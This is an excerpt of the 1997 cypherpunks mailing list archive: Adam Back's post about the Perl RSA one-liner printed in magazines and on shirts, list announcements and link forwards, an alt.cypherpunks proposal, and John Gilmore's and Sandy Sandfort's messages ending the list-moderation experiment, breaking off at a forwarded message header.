From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 16 Feb 1997 09:43:28 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Crypto code published in magazines
In-Reply-To: <199702161254.HAA10775@upaya.multiverse.com>
Message-ID: <199702102359.XAA01086@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Peter Gutmann <pgut001@cs.auckland.ac.nz> writes:
> I'm trying to find instances of crypto code published in computer
> magazines i n the last few years.  I know of Blowfish in DDJ, are
> there cases of more mainstream computer mags like Byte publishing
> crypto code (I know Byte did DES in 1977, I'm hoping for something a
> bit more recent)?.

Well this code (an implementation of RSA) appeared in UK Computer
Shopper (largest readership computer mag in UK) by Charlie Stross:


print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`


(actually it was some earlier version of the code)

Other media appearances include:

- A picture of the shirt in Nova magazine (a French publication)
- Shirt on Nulle Part Ailleurs (French cabal TV talk show)
- Shirt Japanese edition of Wired 
- Shirt in US version of Wired
- Richard White's tattoo of the program in UK Wired
- Shirt in BBC Open Univ program (educational program on encryption)
- Picture of label with program on New York Times

All of those apart from the last would probably be readable from the
source code, or from the bar code.  [Do KISS do image enhancement
also?  :-)]

(some pics on: 

	http://www.dcs.ex.ac.uk/~aba/shirt/media.html
	http://www.dcs.ex.ac.uk/~aba/rsa/

)

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Mon, 10 Feb 1997 23:54:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] PGP Signatures
Message-ID: <199702110754.AAA04078@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dick Vitriol K'ock`OfTheMonth grew a beard to look like his mother.

        _
       / '
      |
   /><oo><\ Dick Vitriol K'ock`OfTheMonth
  //[ `' ]\\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 10 Feb 1997 22:06:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Consumer Privacy URL...
Message-ID: <TCPSMTP.17.2.11.1.15.44.2780269260.1513850@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Forwarded message:

 In> Subject: Consumer Privacy Online

 In> The January issue of the Computer Law Observer discusses privacy of
 In> online consumer information. The article is called "Your clickstream
 In> is showing" and is based upon a report issued by the FTC in January.

 In> The article can be found under "Current Issue" at
 In> http://www.lawcircle.com/observer

 In> There is also an announcement at the site for a new weekly service
 In> called the Computer Law Observerpro, which provides selected weekly
 In> articles discussing computer, technology and cyberlaw issues.


Ciao

Harka
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMv678jltEBIEF0MBAQE8LAf+NljN3C5JOG3ZF+ugZFWMeLtvu2fTmJPb
32s9VXgg82XdeP1QlEZVtfjHQSznCUCy+7BVAqAera38r6sY6cQzPSqA4nM2vQzH
jSahFxXH07zFJ3SRPccTB1QnIm2fcoz7f3u+Y0qFTU+y1arsBCSwl/AFtip4ShtQ
jU1zGNnzGMCpxWLJ2gzXkZLAUSZ/RTpph72ByTi3mwczo7hu5I2KCFWrvMSSlxMS
FZEZa3EyOatvrmAD2MSWd3lUKL5ubkwfd717V/Hb5zn7UW4Ri4wDohcxR4zxYnm/
36euGJNrM0aY/CFDu75KNgJiRXc4TDpiFuNYzsnOOeK490xVSSDEHw==
=Y0C2
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carol Anne Cypherpunk <carolann@censored.org>
Date: Mon, 10 Feb 1997 23:33:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cryptography WWW Siteguide wanted.
Message-ID: <3.0.16.19970211013444.448fe33c@mailhost.primenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The Mining Co. (http://www.miningco.com) is looking
for "siteguides".

There will surely be a guide needed for cryptography.

Pay is commensurate with hit volume, but it isn't too shabby,
at about 3K per month after about a year.

There is the original posting from Sideman's Online Insider following
this post to acquaint you with the particulars.

Good Luck to whomever from this list (for I'm sure someone will) 
takes the aformentioned position. I would, but I'm applying for a 
different site in the Culture/Beliefs section.

On one other note, the PGP Plugin for Eudora is MARVELOUS!
THIS I can even teach a clueless newbie!

Carol Anne Cypherpunk
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Uncensored from heavily.censored.org

iQCVAwUBMwAfd4rpjEWs1wBlAQG3YwP/XXgJfqD06KTLfdDfj2mAweBrFAASsRR8
q37l43InJU/AVhRJ0MKkcmxto7sfO1jHNW6O0+0HjrnMRZAmnw7YH806+mCCerUG
CeTT5U97Cp/V5Yud6r6f0vqP/BPk8etGIZnGgWKajJ49rFTGlk01AgQz1xE49mmI
i962UdPbyVs=
=69D8
-----END PGP SIGNATURE-----

==========================================================================
                Seidman's Online Insider - Vol. 4, Issue 6
     Brought to you by NetGuide Magazine< http://www.netguide.com >
==========================================================================

Copyright (C) 1997 Robert Seidman and CMP Media Inc.  All rights reserved.
May be reproduced in any medium for noncommercial purposes as long as
attribution is given.


Kurnit is Back and Mining the Internet
======================================

  "Like Arnold, he'll be back. I've been listening to what
he has to say for a long time. If you listen to him, you'll
hear how the Web is the way and that the proprietary services
are a dead model. If you listen between-the-lines, you'll hear
a modified version of that vision. A best of both worlds
vision. You'll hear that he wants to develop easy to use,
functional services on the Web. Like easy to use chat.
Like easy to use bulletin boards.

Like AOL, but on the Web."

-Thoughts on Scott Kurnit in a piece regarding the failed MCI/News Corp
joint venture from Seidman's Online Insider for the Week Ending February
9, 1996.

Kurnit's back, and almost exactly a year to the day since the clip above
was written.  On Monday February 10, the new company Kurnit founded, The
Mining Company, will announce their plans to basically build AOL on the
Web.  I'm not sure about the choice of February 10 as the day to announce
this.  It is a day with special significance for me.

On February 10, 1972 I had a dilemma.  I was hungry for breakfast and
wanted some cereal.  I had cereal, but no milk.  So I called my mom at
work and asked her if I could run across the street to the convenience
store.  My mom said no because "the street" was more like a highway and
because I was 9 years old.

"You'll get hit by a car," my mom said.  As you might imagine, I went
anyway.  And as you also might have guessed by now my mother was right,
except no car was good enough for me.  I had to face off with a
ten-wheeler (it was an Amoco < http://www.amoco.com > Oil tanker.)
Twenty-two stitches in the head, a healed broken wrist and 25 years later,
I'm still hanging in there.  I don't remember anything about it, including
seeing the truck.  I've always wondered if I was pushed.  What I do
remember was waking up in the ambulance with quite a headache.  But since
then, seeing how I lived and all, I've always viewed February 10 as a GOOD
day.

The Mining Company may not be a truck setting its sights on running down
AOL or even other Web content aggregators (even to some degree NetGuide
Live), but it is an interesting model.

*What It Is*

In effect, The Mining Company wants to be the biggest online service on
the Web, ultimately offering 4,000 special-interest areas in an
integrated, easy-to-use interface.  Whether you call these special areas
channels, departments or categories -- it's all the same thing.  Kurnit
wants to capitalize on the fact that it takes too long to find what you
want on the Net.  He wants to put it all in one place with one consistent
interface so that you can easily find what you're looking for and interact
with those who have common interests.

Each "channel" will have content, bulletin boards, online chats, links to
other good stuff on the Web in the particular area of interest.  You'll
also be able to search a site via Verity's search engine or search the
entire Net via Digital's Alta Vista.

While they are currently testing another chat product, they have decided
to move to the iChat chat client.

In the test system I had access to, the bulletin board system was very
easy to use, but painfully slow.  I'll cut them some slack since they are
still in beta, but users will need to be able to move around the boards
quicker than what I experienced or they will likely be put off.

*And Now for Something Really Different*

When Kurnit first ran the vision by me a couple of weeks ago, I said "To
me it seems like this is..."

"AOL on the Web," Kurnit interrupted.

"Not exactly," I said, "It's like AOL on the Web with a hint of Amway
thrown in."

One of the problems with providing editorial context for the Net is that
it winds up costing a lot of money.  Kurnit's previous venture with
MCI/Newscorp was iGuide.  They built a great guide to the Net, but
ultimately they scaled it back to just become a guide to entertainment on
the Net.  You've read the reports all over the place about scaled back
editorial efforts and rightsizing.  Good editorial doesn't come cheap, at
least not when done traditionally.

The Mining Company isn't going after the traditional model of hiring a
bunch of full-time editors and bringing them in house.  They plan to use
folks already out there on the Net.

Once upon a time while I was at IBM, I helped recruit Chris Locke, of
MecklerWeb notoriety away from the MCI/News Corp effort Kurnit was
running.

While there are many things Chris and I do not agree on, I was very much
in synch with Chris when it came to the idea of communities of interest on
the Web.  Give remote people the tools to produce the content, Locke would
say, and you'd be able to easily build hundreds if not thousands of
communities of interest very inexpensively.  Locke who is now with a
hardware company in Colorado will no doubt take interest in what Kurnit
and the gang at The Mining Company are up to, because they are all about
providing the tools to produce the communities of interest inexpensively!
If your chosen as one of its forum moderators (they call them Guides),
you'll be given access to all the tools you need to build a site on the
service.

Now you may be thinking, "Ah, GeoCities does that already!"  GeoCities
< http://www.geocities.com > gives free web pages and is organized around
certain communities of interest.  But their homesteader program is not
about setting up an all-encompassing online service.  And while it is a
great place to create a free web page, there's no real business model for
the person creating the page.  If you build a great site there, GeoCities
gets the revenue on all the traffic that goes there.  Because it has a lot
of traffic, GeoCities can send some traffic to your Web site.  But in the
end, the model for GeoCities is one to give you a free page on the Web.
This is good for you if you're just in it for the fun of it, and good for
GeoCities too.   I think GeoCities is great, but if I am looking for
something in particular, I wouldn't think to look there first.  The Mining
Company wants to create a space that no matter what it is you hope to
find, you'll look there first.

*They Call them Guides*

The Mining Company wants to create quality communities of interest.  And
for every community (channel) created, there will be a unique
moderator/editor.  The Mining Company calls them Guides.  It's looking for
more than just a few quality folks to become Guides and form their
service.  Starting Monday, they will begin accepting applications to
become Guides on the  service. There could be multiple sites about the
same thing during the start-up phase, but  ultimately it will be whittled
down to one Guide/site per special interest.

To ensure quality, they'll be a review committee set-up to make sure
quality standards are up to snuff, including some folks from the community
of Guides.  Kurnit believes between that, the natural inclination for
other Guides to point out areas of, um, weakness and user feedback,
they'll have a good handle on quality.

Additionally, there will be some in-house editorial to oversee major
groupings (like Technology, Personal Finance, etc.)

"The Mining Company is dedicated to serving the needs of its Guides and
users," said Kurnit.  "We give the tools and support to the Guides to help
users find what they want, trust what they find, and connect them with the
most valuable sites on the Net and with other interesting people."

"This model is now only possible because of the team effort at The Mining
Company to integrate the latest improvements in Internet technology and
the newly identified needs of users and independent Web producers," adds
Kurnit.


*Getting the Guides*

Will it be easy to get the ultimately thousands of Guides necessary to run
this service?

"How much talent is out there," asks Kurnit.   "We look at the thousands
of pages out there on AOL, GeoCities, etc., and the rest of the Internet,"
Kurnit said.  "All we think we need to get is 2%-3% of the talent pool."

In certain areas it will likely be very competitive.  Everyone will want
to get there first.

"First there's the application process," said Scott Kurnit in a phone
Interview.  "You're going to show us your bio and you're going to write
some columns so we can see your writing style.  If you make the grade, you
make it to our orientation process," Kurnit said.

The Mining Company places its focus on training the Guides and giving them
the tools they need to make a site.   If you "make the grade" you
basically have 3 weeks (2 of which are the "orientation") to get a site
up-and-running on the service.

"The fact is, if you can't get it done in a reasonable time then you
probably don't have the dedication or time to get it done," says Kurnit.

Just how much time will it take for Guides to put together sites?  "We're
not looking for anyone to quite their day jobs," said Kurnit.  "We're
looking at about a 10 hour a week commitment to produce the sites."  But
Kurnit also says  that though there will be only one Guide per site, the
Guides will be able to line up assistants.



*What's in it for You?*

So why The Mining Company then?   Why not GeoCities or doing it on your
own?  Well, there are a couple of reasons.  One is the promise of
exposure, the other is the promise of MONEY.

There is a model here, especially if you're not looking to quit your day
job.  While I imagine it will have to shift its model somewhat, there are
some opportunities to make a buck or two for the Guides.  It might not be
much money, but if you're already throwing 10 hours or so a week towards
maintaining a Web page that lines up around a special interest or two, any
money is better than what you're probably getting now.

Basically, The Mining Company is looking to allocate 40% of all
advertising revenues back to the Guides themselves.  The real pool here is
30%, with the additional 10% being used for things like bonuses.  So, how
does it work?

Kurnit is looking to get quickly to a million or so page views a day (each
of the pages I saw had 2 advertisements.  By the end of the year, Kurnit
hopes to be in the 10 million - 15 million page views.  It sounds a little
ambitious, but if they're successful lining up quality Guides, it could
become a reality.  So let's say they're getting 5 million page views per
day.  Based on what I saw, that would net out to be about 300 million ads
running per month.

Lets say ad sales average out to $30/1000 (a $30 CPM).  Based on that,
you're looking at a cool $9 million a month in advertising revenue.  So
$3.6 million is in the Guide pool, but only $2.7 million is for the true
revenue split.  Now, let's say you're a Guide who got one-tenth of 1
percent of The Mining Company's overall traffic. You'd make a cool $2,700
a month for your efforts.  If you happen to be a guide in one of the
"killer categories" whether it be a parents site or a kids site or a
computing site, it's not unreasonable to think that you might get as much
as 1%.  That would be $27,000 per month!!

Some people will balk at the 40%-60% share, but I think that's pretty
fair.  Where I'd predict the model will have to change, however, is in the
cases where the cost per thousand (CPM) view being charged the advertisers
is much higher than the average of the overall site.  If the overall site
average is $30/1000, but your site is generating a CPM of around $90,
you're probably not going to want to be paid based on averages.

*Will it Work?*

In short, I think this could work quite nicely.  The premise of a front
door that links to content that is all packaged with a consistent look and
feel is a winning premise.   With AOL's recent move to flat-fee, one big
advantage a Net service has over a proprietary model like AOL is the
ability to create content far more easily and inexpensively. Much coverage
has been given this week regarding AOL beginning to charge its partners in
its Company Connection a $55,000 fee each year to participate.

Some in AOL are saying its reasonable since the areas amount to "free"
advertising for the companies, but realistically speaking, I think it is a
maintenance fee AOL is charging to offset the cost of dealing with these
forums.  I think it is reasonable to expect to see AOL begin to charge
similar fees for any content that isn't "must have" for them, now that the
hourly charges that once subsidized these areas are gone.  There is a cost
of throwing in-house support at these online areas and much of the cost is
due to the fact that it's a proprietary system.  Setting up new "forms"
and new looks just isn't easily accomplished by the content providers
themselves.  So, the timing may be good for The Mining Company.

There are at least two tricks Kurnit and Co. must pull off.  First, they
have to get the Guides.  That starts on Monday, when they begin accepting
applications.  The next will be to market the site in a way that gets
people to the front door.   Internet of the people, for the people and by
the people, it has a nice ring to it...  I'm sure we'll hear more about
this when the site officially launches in April.

For more info, check out < http://www.miningco.com >, sometime on Monday,
they will make a lot more information available there than the "coming
soon" that was there as of this writing.
Member Internet Society  - Certified BETSI Programmer  -  Webmistress
***********************************************************************
Carol Anne Braddock (cab8)  carolann@censored.org   206.42.112.96
My Homepage
The Cyberdoc
***********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 10 Feb 1997 23:28:15 -0800 (PST)
To: dsmith@prairienet.org (David E. Smith)
Subject: Re: Metzger, Denninger square off
In-Reply-To: <199702080056.QAA05207@toad.com>
Message-ID: <199702110746.BAA00783@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> At 01:24 PM 2/7/97 -0500, you wrote:
> [the proposed new TLDs]
> .web    Actually a good idea :) A lot of the .com congestion is
>         from companies that are virtually-hosted for the sole
>         purpose of running a Web site with the www. prefix.

     This one might not work. There are a lot of people who seem to think that
you need a www.---.--- to get netscape to work.

> .nom    Nah. Just not classy enough.  Now, a .nym TLD... :-)

     I think they should use .vain. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gbroiles@netbox.com
Date: Tue, 11 Feb 1997 00:58:39 -0800 (PST)
To: gbroiles@netbox.com
Subject: Proposal: alt.cypherpunks (unmoderated)
Message-ID: <855650862.27942@dejanews.com>
MIME-Version: 1.0
Content-Type: text/plain



[This is a courtesy copy of an article posted to Usenet via Deja News]

Some people, including myself, believe that the Cypherpunks mailing list
(cypherpunks@toad.com), running since sometime in 1992, has outgrown the
mailing list format and should move to Usenet. The advantages once gained
by running as a mailing list (faster propagation, more personal/intimate
atmosphere, freedom from Usenet-style flames & spams) are no longer
present. Questions about the appropriateness of moderation, moderator
liability for various "bad" kinds of messages, and the potential for
content control  where there is a single point for distribution have
become very prominent concerns among list members. It's time to move to
Usenet.

Hence, this prelude to a newgroup.  Two cypherpunk-related newsgroups now
exist; mail.cypherpunks and jyu.ohjelmointi.cypherpunks. mail.cypherpunks
is unsatisfactory to become a destination for Usenet-originated
cypherpunk traffic because its name implies that it's a gateway from a
mailing list. This is presently true, but this proposal is intended to
create a newsgroup which supplements or replaces the current mailing
list. I've got no clue where "jyu.ohjelmointi.cypherpunks" originates,
who's in charge of it, or what "jyu.ohjelmointi" is or stands for.
Judging from the limited selection of messages which seem to reach
DejaNews and AltaVista from it, it suffers from relatively poor
propagation.

The cypherpunks mailing list currently has approximately 1300
subscribers, sees traffic between 30 and 70 messages per day (est.), and
on its better days discusses technological defenses for privacy in an
information age. Popular topics include encryption, legal issues around
encryption and export control, and the relationship between technology
and social control.

A sample line for the newsgroups file:

alt.cypherpunks  Technological defenses for privacy

-------------------==== Posted via Deja News ====-----------------------
      http://www.dejanews.com/     Search, Read, Post to Usenet




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 11 Feb 1997 00:13:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Military/Intelligence URL
Message-ID: <TCPSMTP.17.2.11.3.22.32.2780269260.1513985@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Here an page, that deals with various intelligence and military
institutions...


 In> Subject: GOVT> AJAX, Government and Military Intelligence

 In> http://204.180.198.56:80/ajax/ajax.htm

 In> United States and International Government Military and Intelligence
 In> Agency Access

 In> Certain Locations Or Sections Thereof May Be Closed To
 In> Unauthorized Use.
 In> PLEASE READ ACCESS WARNINGS, IF ANY, AND ABIDE BY THEM.
 In> (If You Prefer A Frameless Environment, Click HERE.)
 In> Last update: 7 FEBRUARY 1997. All accesses verified at
 In> time of inclusion.

 In> CIA                  Central Intelligence Agency
 In> DIA                  Defense Intelligence Agency
 In> NRO                  National Reconnaissance Office
 In> NSA                  National Security Agency
 In> SS                   Secret Service
 In> USCSOI               U.S. Customs Service Office of Investigation

 In> ATF                  Bureau of Alcohol, Tobacco and Firearms
 In> BOP                  Federal Bureau of Prisons
 In> CID                  U.S. Army Criminal Investigation Command
 In> COURTS               U.S. Federal Courts
 In> FBI                  Federal Bureau of Investigation
 In> FINCEN               Financial Crimes Enforcement Network
 In> FLETC                Federal Law Enforcement Training Center
 In> MARSHALS             U.S. Marshals Service
 In> NIJ                  National Institute of Justice
 In> ACC                  Air Combat Command
 In> AFSPC                Air Force Space Command
 In> BMDO                 Ballistic Missile Defense Organization
 In> DEFENSE              Defense Department
 In> DISA                 Defense Information Systems Agency
 In> DRMS                 Defense Reutilization and Marketing Service
 In> DTIC                 Defense Technical Information Center
 In> JCS                  Joint Chiefs of Staff
 In> NAVWAN               Naval Aviation Systems Team Wide Area Network
 In> NAWCWPNS             Naval Air Warfare Center Weapons Division
 In> NSWC                 Naval Surface Warfare Center
 In> USAFA                United States Air Force Academy

 In> AHPCRC               Army High Performance Computing Research Center
 In> ARPA                 Advanced Research Projects Agency
 In> LABLINK              U.S. Department of Defense Laboratory System
 In> NRL                  The Naval Research Laboratory RL
 In> USAF                 Rome Laboratory for C41 Technology
 In> USACIL               U.S. Army Criminal Investigation Laboratory

 In> NATGUARD             Army and Air National Guards
 In> USA                  United States Army
 In> USAF                 United States Air Force
 In> USCG                 United States Coast Guard
 In> USMC                 United States Marine Corps
 In> USN                  United States Navy

 In> EPA                  U.S. Environmental Protection Agency
 In> FAA                  Federal Aviation Administration Technical Center
 In> FCC                  Federal Communications Commission
 In> FTC                  Federal Trade Commission
 In> NMFS                 National Marine Fisheries Service
 In> NRC                  Nuclear Regulatory Commission
 In> SEC                  Securities and Exchange Commission
 In> CDC                  Centers for Disease Control and Prevention
 In> CENSUS               U.S. Department of Commerce Bureau of the Census
 In> CONGRESS             U.S. House of Representatives
 In> CUSTOMS              U.S. Customs Service
 In> DOE                  U.S. Department of Energy  National Laboratories
 In> & Programs
 In> EXECUTIVE            The White House
 In> FDIC                 Federal Deposit Insurance Corporation
 In> FEMA                 Federal Emergency Management Agency
 In> FMS                  Financial Management Service
 In> GPO                  U.S. Government Printing Office
 In> GSA                  U.S. General Services Administration
 In> HHS                  U.S. Department of Health and Human Services
 In> HPCC                 NOAA High Performance Computing and
 In> Communications IRS                  Internal Revenue Service
 In> JUSTICE              Justice Department
 In> NARA                 National Archives and Records Administration
 In> NASA                 National Aeronautics and Space Administration
 In> NCDC                 National Climatic Data Center
 In> NIMH                 National Institute of Mental Health
 In> NOAA                 National Oceanic & Atmospheric Administration
 In> NSF                  National Science Foundation
 In> NTIS                 National Technical Information Service
 In> SBA                  Small Business Administration
 In> SEL                  Space Environment Laboratory
 In> STATE                State Department
 In> TREASURY             Treasury Department
 In> USCODE               U.S. House of Representatives
 In> Internet Law Library U.S. Code

 In> CANADA
 In> CSE                  Communications Security Establishment
 In> CISC                 Criminal Intelligence Service Canada
 In> CSIS                 Canadian Security Intelligence Service
 In> SIRC                 Security Intelligence Review Committee
 In> UNITED KINGDOM       CIM Central Intelligence Machinery

 In> CANADA
 In> DJC                  Department of Justice of Canada
 In> FORENSIC             The Forensic Web
 In> RCMP                 Royal Canadian Mounted Police
 In> SGC                  Solicitor General of Canada

 In> UNITED NATIONS       UNCPCJ United Nations Crime Prevention &
 In> Criminal Justice

 In> CANADA
 In> CFC                  Canadian Forces College
 In> DREO                 Defense Research Establishment, Ottawa

 In> UNITED KINGDOM
 In> ARMY                  The British Army
 In> CDA                   Centre for Defence Analysis
 In> DRA                   Defence Research Agency

 In> NATO                  North Atlantic Treaty Organization
 In> SACLANT               Supreme Allied Commander, Atlantic
 In> SHAPE                 Supreme Headquarters Allied Powers Europe

 In> BECCA                 Business Espionage Controls & Countermeasures
 In> Association
 In> CRYPTOLOG             Internet Guide to Cryptography
 In> DCJFTF                Washington, D.C. Joint Fugitive Task Force
 In> WANTED                "The World's Most Wanted" (Fugitives and
 In> Unsolved Crimes)


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMv7aGjltEBIEF0MBAQF1CAf+MyLUa3sBKCAuxhzCZ0tQqP3jxAjQpIuV
WdsTCW9L3jPwLdZ9BmqeqAuaIU4JQzCpEx5bgKdzGThF5mG2U4XaeOcD4gBpWZyz
sYOZzcoYNe6CX6m55a9UqiEpZu4mK9TBkO7OXSfV3J3CygVAbo7zjC+lW2r7L9F8
3vTqrxbOCb3SMEl4k3L5QVtKOGVSh7MMIesBtmQ2SNhhvSfrdFYBnCcvtmnvYi8j
6YpI5wrkiNzueuFwoD9YoRR7UugE5kcCyJ3FFHym7RzQUL8XsHRhsk1XoTBHvXni
2Tfno7DH5+T4FuVZTWeaAVhD7OTfK2n0lBCf0x2I5F1iEUurbdddig==
=s4om
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 11 Feb 1997 03:54:36 -0800 (PST)
To: cypherpunks, gnu
Subject: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111154.DAA16237@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy hit a pothole in the moderation experiment when Mr. Nemesis
submitted a posting containing nothing but libelous statements about
Sandy's employer.  He never anticipated that he wouldn't be able to
follow his announced "post it to one list or the other" policy because
to do so would make him legally liable (in his opinion; he's a lawyer,
I'm not).  His gears jammed, and the whole machine came to a halt for
a few days.

Sandy has agreed to continue moderation through the end of the
original 1-month experiment (through Feb 19).  And it's a good thing,
too, because the "cypherpunks community" had better get off its
whining butt in the next ten days, or it will no longer exist.

I've come to the conclusion that I'm not willing to host the
cypherpunks list any more.  It's not the true assholes that brought me
to this decision; it's the reaction from the bulk of people on the
list: suspicion, flamage, and criticism with every attempt to improve
things.  I noticed few people volunteering some of their own time,
money, or machines to help out.  Almost all the suggestions were
advice for *other* people to implement:

                One would have thought that had Sandy and John really
    been interested in hearing the views of list members, this approach would
    have eventually won out.

    a supposedly libertarian and anarchistic group of people has decided
    that censorship is the right solution to their problems.

							I'd prefer
    for the cypherpunks _name_ not be associated with a moderated/censored
    list. (I mean no insult to either Sandy or John in this, BTW... I
    simply think that they've gone about this the wrong way.

    If one is going to advocate free speech, I strongly suggest one
    learns to deal with one's own greed and one's own need for power
    first.

    For those who want it, let someone moderate the list for as long as
    they care to do it. Approved messages get a "X-sandy-approved"
    header.

    ... the vast majority are still shipped out as 'Sender:
    owner-cypherpunks@toad.com' (and the 'Received' chain as I pointed
    out in my original post). to me that is piss poor list management.

        however you slice it, censorship on a freedom of speech list
    just does not make it and we make fools of ourselves if we think
    otherwise.

Now each of these posters will get their chance to do it "right" --
on their own time and with their own resources.

A large fraction of the list seems to think that "freedom of speech"
means that everyone is required to listen to everyone else at all
times.  That there can't be focused, topical conversations in a
society that has freedom of speech.  I would say the opposite; part of
freedom of speech is the freedom to choose to whom we speak and to
whom we listen.  This is part of what cryptography does: lets us
control who can receive our speech, and lets recievers determine who
the speaker is.

There also seems to be a misunderstanding that freedom of speech
requires that people who want to speak already have a place, set up
and maintained by someone else, for them to speak in.  If someone
who's set up a speech-place decides it isn't being used for its
intended purpose, then they are a censor, stopping all possibility of
conversations.  Did you forget that there are millions of other places
to speak in cyberspace, millions more in realspace, and that you can
personally create more if you don't like any of the ones you know about?
To paraphrase Zappa, you wouldn't know censorship if it bit you on the
ass.  You think you're being censored when you're just being excluded
from a forum because what you're saying isn't interesting to that forum.

So anyway, I'm tired of it all.  I'd much rather focus on getting my
crypto work done than babysitting majordomo, tracking down attempts to
subscribe the entire US Congress to the list, and debating the seventy
or eighty "obvious right ways" to handle the list.

This is a "put up or shut up" to the cypherpunks community.

Either you list denizens will, among yourselves, put in the energy to
build a new home for the list (and run it in whatever way your
volunteers want) by Feb 20, or the list will cease to exist on Feb 20.

The next ten days of moderated discussion, through the end of the
original experiment, will give the community a chance to discuss
whether and where it plans to host the list after the experiment is
over.  My feeling is that the stalkers who have been trying to shut it
down (Dimitri, etc) will be out in full force, trying to disrupt the
process of finding a new home.  It would be very hard to make progress
along that line in an unmoderated list.  Cypherpunks-unedited readers
are welcome to try.

Sandy reports that he's changing his criteria for moderation for the
remainder of the experiment.  It was his idea, and I approve.  The
criteria now are:

	*  The topics of the list are:
		cryptography
		setting up replacements for cypherpunks@toad.com
	*  On-topic, legal, posts will go to the list.
	*  Postings with any hint of legal liability (in Sandy's opinion)
	   will be silently ignored.
	*  Legal but off-topic posts will go to cypherpunks-flames.

Sandy will apply these criteria retroactively to the backlog (of about
140 messages), which means that most recent criticisms of the
moderation (which don't invove someone volunteering to do things for
the list) will go straight to the flames list.  If you don't like it,
I recommend that you start your own list.  Soon.

For me it's a sad thing that the community's willingness to pull
together has degenerated to the point where I feel better off
separating from the list.  I hope that others in the community will
create one or several alternatives that work better.

	John Gilmore




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Tue, 11 Feb 1997 05:56:13 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702111154.DAA16237@toad.com>
Message-ID: <Pine.SUN.3.91.970211053825.18392D-100000@crl7.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

You have probably just read John's post.  I truly hope YOU (each
and every one of you) can rise to his challenge.  If you have 
offered nothing in the past but criticism, it's now time to get a
bit more real.  What will it be, your money, time, equipment?

I would hope that the loudest advocates of "free speech" turn out
to be the most generous, but I'm not holding my breath.  Maybe 
the solution(s) will come from you lurkers.  I hope you can put
down your beer long enough to get involved.

Finally, if anyone wants to discuss why the Cypherpunk list has
come to this, or what I did right or wrong as a moderator, let's
talk about--on the new list(s) YOU create.  For now, though, it's
off-topic.  We have work to do.


 S a n d y

P.S.	To all those people who privately supported me in
	my attempt to help the list deal with its problems,
	thank you.  I wouldn't have come back without your
	and John's encouragement.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 11 Feb 1997 06:32:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Indiana judge extends gag order to the Net, from TNNN
Message-ID: <Pine.GSO.3.95.970211063200.26942D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Tue, 11 Feb 1997 06:31:28 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
